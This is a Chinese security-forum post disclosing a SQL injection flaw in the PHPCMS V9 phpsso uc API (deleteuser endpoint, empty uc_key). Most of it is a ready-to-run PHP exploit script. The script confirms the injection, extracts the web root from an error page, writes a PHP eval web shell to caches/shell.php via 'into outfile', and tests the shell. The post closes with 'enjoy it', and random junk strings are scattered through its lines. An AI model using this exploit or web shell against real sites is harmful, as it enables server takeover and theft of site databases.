找回密码
 立即注册
查看: 2304|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ c5 K$ w& v% b) [9 E  ]) L' c% n! h1 a  h: s
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
7 f, G* q3 z% T# R8 \/ p' ~! S+ a* p9 s
漏洞分析:  U* p. p$ D3 |/ _! g% e8 {
1.未启用ucenter服务的情况下uc_key为空
% Q; I! \# p6 F: N( ?/ D2 ?, w% I5 Y* Ldefine('UC_KEY', pc_base::load_config('system', 'uc_key'));. n% @& p$ ~4 w8 @
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。6 U: t" j; s2 k6 v
    public function deleteuser($get,$post) {
6 G! p( o! F) E. X        pc_base::load_app_func('global', 'admin');6 @+ R  ?: g8 F$ C% E: n+ R- A+ ^
        pc_base::load_app_class('messagequeue', 'admin' , 0);! t; M% N2 F- ]) b8 T6 Y- G
        $ids = new_stripslashes($get['ids']);* R. r# p/ U' e; G6 \6 ~- f4 X
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 W& W2 E/ s9 S8 [6 X* H
SQL语句为% X6 k* p$ q5 p3 t& p
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)& p. n% x1 ?7 n/ E. ?

/ g- x: s4 d. R% g, @/ \利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
" r. [1 a; z/ J$ |( b% h<?php
1 \/ V) b- r( s, Q' {print_r('
4 g) y( Y% O5 F. ]& G---------------------------------------------------------------------------; L: ?5 I' e8 S
PHPcms (v9 or Old Version) uc api sql injection 0day9 [5 E6 j: _, b5 ]# D7 R2 A
by rayh4c#80sec.com
# a9 c# @: g# C3 o; {! ]8 F* q---------------------------------------------------------------------------
! \. h0 `3 F& L) X2 L- [');8 b* J! w6 ?' e0 q8 l8 g* t3 j) o3 ^

0 Z$ ~  a3 Y+ s9 R1 Z. ^if ($argc<3) {' R! B* d, H5 f
    print_r('4 z9 q! F! Z* Y0 [7 D
---------------------------------------------------------------------------; t1 T2 K2 J: I8 _! B5 y( F& z% l- X# F
Usage: php '.$argv[0].' host path OPTIONS
) O- S4 D3 V" g0 rhost:      target server (ip/hostname)4 i6 `) u1 F' U$ P% m
path:      path to phpcms- m. h" D8 m) Q  X$ r8 q+ b; F
Options:
3 w+ y+ y$ y0 V3 G9 F -p[port]:    specify a port other than 80
5 ~6 p6 i6 `7 n -P[ip:port]: specify a proxy' D' c  B& B7 _
Example:0 M7 I% R2 o4 i4 @. }' a
php '.$argv[0].' localhost /
/ G/ L! y- v! n8 v9 ~# H( tphp '.$argv[0].' localhost /phpcms/ -p81* y- n$ _7 s# |3 \+ A1 ]' S2 I
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
& E1 j- E4 K% T9 Z---------------------------------------------------------------------------6 W3 K- o: f& W" _; k, L# N
');
9 @1 i- t% O) c/ b: p1 ~    die;& R  B2 c. c) Q6 f! H' n
}3 W- `2 ^8 [9 e. B4 K% E

, I; T3 [1 P" a- R: z" terror_reporting(7);% ~' g. V5 R, G" {4 O
ini_set("max_execution_time",0);
% ~* Q3 _& C% t  v. Vini_set("default_socket_timeout",5);
, ?4 }8 e5 z; E* K- C  j4 U$ P& H# h0 z/ y" g% b, F3 J! p- f' V
function quick_dump($string)7 F# n5 g9 S7 Z
{
' k9 X3 A8 S/ e" N. l  g6 D, }  $result='';$exa='';$cont=0;
. L. {9 F2 e: ~2 c6 `  for ($i=0; $i<=strlen($string)-1; $i++)- _' ]5 R0 Y6 q# A. z% L/ w
  {) _/ ~6 L  X. z( H0 F
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))6 C& e8 q. G6 r% t* F4 L# l8 x. a( c
   {$result.="  .";}
2 N# K4 `! y# `   else
( m) u' D) [8 y* ^   {$result.="  ".$string[$i];}
% g0 H. F. i/ X% s. e7 B   if (strlen(dechex(ord($string[$i])))==2)
* [' s9 _( S  r8 m5 [9 b   {$exa.=" ".dechex(ord($string[$i]));}
( Y) a6 D* }# e% J: s   else4 z5 d$ s, j. T4 S% u
   {$exa.=" 0".dechex(ord($string[$i]));}
1 L% T2 I& c  _' @) I+ x$ b   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}$ p+ p4 T; \7 ]. X
  }+ T' u5 U! Y4 f: G2 R
return $exa."\r\n".$result;) G( x" A6 g5 r5 B( n# |/ _9 N+ T( P
}6 H8 p; i# }' H. ?, c( u- W
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';( ]$ c1 {  d- x

* [* A' c! x& D+ Cfunction send($packet)9 u& o5 @8 Q0 R+ J+ z& q1 N% Y
{  m0 d  X- }- N6 s# r/ x" u
  global $proxy, $host, $port, $html, $proxy_regex;
" r; N4 t4 S$ a" s5 H' L" [4 Y0 ^  if ($proxy=='') {% k: n. k0 @: A, k
    $ock=fsockopen(gethostbyname($host),$port);7 h2 q7 g6 w7 z4 o  p( a
    if (!$ock) {' L1 w+ R) c4 Y' G
      echo 'No response from '.$host.':'.$port; die;
4 {6 ~  v' F& P( r9 [2 H! i    }) d0 \# {4 z5 H/ B: o" F& D
  }
. z8 Y. H: Z6 E9 e; L+ ~  else {1 a( V  v0 _3 I
        $c = preg_match($proxy_regex,$proxy);
/ ~- ~  U! f8 j" d1 B3 D    if (!$c) {
# r* t% N, v6 u0 g' H( c      echo 'Not a valid proxy...';die;
; c5 a" G3 l+ p4 {* U6 Z# d    }
! n, m7 _% t3 G2 l# o% L    $parts=explode(':',$proxy);* U6 I( j$ X; E: j
    $parts[1]=(int)$parts[1];, z, T( e4 T: q" b: t$ z& i
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";) Q: ?+ e( e1 F; J
    $ock=fsockopen($parts[0],$parts[1]);1 D( v8 }% o8 ~- F! q# K& I
    if (!$ock) {
. @+ l1 s" x; A5 f! C      echo 'No response from proxy...';die;
# _4 g# f6 I+ J4 x        }1 z+ N) y/ s5 Z
  }# {! J& h7 f% K1 O% X5 e) c
  fputs($ock,$packet);5 m' ~7 u# \8 l
  if ($proxy=='') {
1 Q% Q& Z# n- p6 ~* _; Z3 Z7 m    $html='';4 F3 M3 W2 Y, b) ], z7 k+ Z
    while (!feof($ock)) {
+ B: W, i! }6 D6 B6 G0 P# N/ W* ~      $html.=fgets($ock);, a$ }; I* B) _3 }* s! L
    }
: F' T3 D1 V  V" d3 ?  }& g* E" K  x& r( O4 E( R
  else {
7 o/ S. O& v3 J% q: e- g5 p' l    $html='';+ |+ Z) ~  h) m3 A2 w
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
* ]( d2 t+ K( O- y; r: Z      $html.=fread($ock,1);  ]( ~- B% K$ s" A
    }
3 _$ \- G9 w" y" D  }
: f* O+ Q' g" ?3 S0 e  fclose($ock);5 k# d# D2 _* g
}
+ X" U3 \& G4 v% @) U' b
1 Q, O! O: Z7 |# Y' m$host=$argv[1];
  s* K7 J3 o2 N6 c4 f4 w$path=$argv[2];4 \: L0 \5 p2 w: K
$port=80;
+ j+ j# K8 F) C$proxy="";
* V- i7 D$ B% M; efor ($i=3; $i<$argc; $i++){/ X# z% R1 p8 ]
$temp=$argv[$i][0].$argv[$i][1];
( j. K: d8 p9 g! s; f8 {! R3 Aif ($temp=="-p")
( b9 y7 t8 z) B' Z* m8 p{
% D- f& E" I& k" m3 c4 [* O& S8 w  $port=(int)str_replace("-p","",$argv[$i]);' }- z3 e* O3 E7 {0 s) `8 T+ \
}
$ T1 B% _5 f" H: m9 aif ($temp=="-P")/ G% l, n8 V; L( a
{, J/ `- @0 n+ V9 |  S/ v; p
  $proxy=str_replace("-P","",$argv[$i]);) F3 d4 e' D9 d1 z9 x
}
. v$ t& ]7 H3 i}
  N& A/ m, N0 u& y- ~1 m
$ F* {; Z$ I; l: iif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 Z( `/ Y; S8 u* z. A% Z
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
8 @$ ~9 u; `$ U  R( h6 r9 D
, [, X. p9 C( R7 N, F6 N' Afunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {7 r1 V' q; z- X5 [1 [; |8 {# z, Z& ~
' @2 u, [2 l# @5 V4 C/ r6 _
    $ckey_length = 4;& S" C1 H* n. a$ e! }

. Z) M" [4 H; Q* O3 H1 X6 G    $key = md5($key ? $key : '');
. J+ `+ g( k+ }( C$ ?6 g' J    $keya = md5(substr($key, 0, 16));# E+ C' n; `$ `8 L
    $keyb = md5(substr($key, 16, 16));" x0 V' f' D- |; Q2 V- g3 ?5 U
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';4 P6 O, w5 h# p% n7 g/ @. T
2 m: e, d4 c' y4 {/ V- M3 K
    $cryptkey = $keya.md5($keya.$keyc);8 I) u6 n' Y- r$ p! ~* Q
    $key_length = strlen($cryptkey);7 r# {: {) ?' D& i& q3 i) k

6 [  t3 E" @5 ]3 t( \+ \2 ^) o# n    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;5 \7 f2 b) e6 u
    $string_length = strlen($string);
! V, [( q& y) ~6 D# J
6 W$ U: V9 m6 A, q    $result = '';
8 i$ a7 H7 b6 s  ~/ Z, B  b' l- Z    $box = range(0, 255);
# V% f$ p7 @( Y! F8 [, v4 s9 j. E+ G
, H' [6 L& t0 p% U4 c/ [    $rndkey = array();
! U. V) ?. O* i# `) }- u4 |2 j    for($i = 0; $i <= 255; $i++) {
3 H3 m& j* ]5 j' o3 v, h        $rndkey[$i] = ord($cryptkey[$i % $key_length]);- _  Q% R% K% y. O1 t( e. }. _8 I
    }
5 ^) |5 A: O5 O- h7 \* B1 V* p3 E# X) j0 y/ n
    for($j = $i = 0; $i < 256; $i++) {
  e* p: N9 d) _/ c        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+ T( a5 H* o& g4 O6 J1 g  F' F        $tmp = $box[$i];! n$ ^; S) l3 J3 h: g
        $box[$i] = $box[$j];
! A( W- Q2 D9 s$ H: Y        $box[$j] = $tmp;
* Y! [  ]+ f$ G1 v. I  z6 O. G7 x    }4 H) Y4 a1 @# l; }7 d
, [: |# x0 f1 V3 H9 k2 S
    for($a = $j = $i = 0; $i < $string_length; $i++) {0 L5 \5 G: i. S) f, k
        $a = ($a + 1) % 256;
- \; F6 }6 ~8 b" F! N5 i& l) q        $j = ($j + $box[$a]) % 256;2 b2 W: J8 F& x% p% ?( S
        $tmp = $box[$a];1 Z  W# g1 v. o
        $box[$a] = $box[$j];
' f9 s- h0 I! D2 o6 r! m        $box[$j] = $tmp;
* h) z6 h+ w) l% A: O3 t" \- ?& b3 }        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));% |' }& ]  R  \! V: J* D" @0 L
    }
" B9 r6 b4 ~0 l- Z$ n+ d: d5 L
; y# i  R- Z3 c: a1 b    if($operation == 'DECODE') {3 R, t" [2 ~! w! ^
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: G6 e$ q- O5 i5 M4 g
            return substr($result, 26);4 Q6 }0 D% y+ \7 L1 X! g
        } else {
5 M  q) g+ N" M            return '';; q, W3 E% c! j8 ~
        }
& L. b4 E% |- D/ N3 K, \; ^. Y    } else {
+ ^7 [7 ^4 G" h4 Y8 t0 }, R" F        return $keyc.str_replace('=', '', base64_encode($result));, t8 D6 w1 W% G7 y. W7 g: o1 D
    }( [+ @: `4 h! f1 m
6 f5 r- ]( ^2 |% j* ~
}& X+ j/ d0 p( t' ?1 Q) |

& v7 u9 n+ K1 r% {$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 u8 U1 Y* r4 M  }9 ~% E  |  N  `# c$SQL = urlencode(authcode($SQL, "ENCODE", ""));
! Y0 ?3 T: c' g9 Techo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
' I3 m: k- U. m, x! K, y) W/ E4 `$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 }/ u( c, f5 ]( d: q( d
$packet.="User-Agent: Mozilla/5.0\r\n";
0 m8 C  u  V1 x' Q0 n+ U1 \" M/ V$packet.="Host: ".$host."\r\n";
, ^+ d1 l1 j! p, D& W- S( g$packet.="Connection: Close\r\n\r\n";5 c0 t2 k+ d% E  r0 D* `/ _6 F, Z) @
send($packet);1 _  e- Z  M8 v; l( ], C
if(strpos($html,"MySQL Errno") > 0){
4 c* }7 m- z4 ^6 U# G# necho "[2] 发现存在SQL注入漏洞"."\n";
2 B; i: V( s) @' Becho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
/ f9 q+ Z; t% e- {  t  s8 S+ Q$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";/ Q/ a) h, i# i) a
$packet.="User-Agent: Mozilla/5.0\r\n";
1 h4 b* F( F- f2 H+ O; }% C/ d0 m$packet.="Host: ".$host."\r\n";
' ^7 ?( k9 [% Z" }9 I$packet.="Connection: Close\r\n\r\n";
6 a' h5 q  B- e! s3 u& ^/ y$ \8 msend($packet);
8 [# a) Q1 q% t7 o) ^  g8 vpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. Y: z" D6 O! D, r4 o# i8 D
//print_r($matches);# N4 a8 S: o3 P5 u: i+ q
if(!empty($matches)){5 w- a* }+ o1 ^9 F+ B; U( |. E
echo "[4] 得到web路径 " . $matches[0]."\n";
3 {* X: d  M( x1 e2 J0 n; O& A7 necho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";% I6 Y/ d8 P: J7 J' C
$SQL = "time=999999999999999999999999&ids=1)";
7 x) @& C! f/ @9 _. g$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! j0 p( E' z( }# A$SQL.="&action=deleteuser";0 e3 y; P2 J2 _" b  V
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
2 l0 l6 ~2 \- E* T- uecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 f' ~' G$ L6 ^! Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 L$ T( j( k. k% C& v$packet.="User-Agent: Mozilla/5.0\r\n";
8 }# p/ ~* B% f" t1 p  F1 ?0 W$packet.="Host: ".$host."\r\n";
" Q, l8 f9 j4 R. f$packet.="Connection: Close\r\n\r\n";
6 ~/ d( v# O+ N8 }send($packet);
" z$ N$ j. R( R' t7 F6 y: F$ Bif(strpos($html,"Access denied") > 0){) f+ {, i- w  @9 h% p( {
echo "[-] MYSQL权限过低 禁止写入文件 ";  ?0 _1 O2 I0 Z' A7 u5 W
die;7 @' p2 r* @! P; y* k
}+ s! |/ I) a5 d; N
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";' `) Y' s# j+ O# F/ D
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";4 P' a  G# Y( Y1 F
$packet.="User-Agent: Mozilla/5.0\r\n";
0 o2 o6 z, |; n! d3 g8 F8 q& Y$packet.="Host: ".$host."\r\n";
! A" m5 i. e5 r( q) f0 c& B3 T$packet.="Connection: Close\r\n\r\n";4 f* E- O. C6 G0 ]% A
send($packet);
. y- u- J/ |* p5 W, j2 N/ H% gif(strpos($html,"<title>phpinfo()</title>") > 0){
; d* P& I$ Z2 Iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";$ s) Y4 V7 c  ^8 E
}
3 q) o# E4 T# m7 c. b9 x! k}else{( e$ t' z  T# B
echo "[-]未取到web路径 ";
7 ]$ h6 e+ w1 `5 {}' K9 h2 X% V5 M1 ]7 l
}else{
+ c; g& {. m4 |; ]+ s/ wecho "[*]不存在SQL注入漏洞"."\n";" J% c+ T9 ]& ~8 k' L: i  d- A5 z
}
) f+ p3 u9 z. M' i8 o- g+ R' c8 k  F. l; e; G; }+ Z
?>
( H+ h/ Y7 C  e1 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表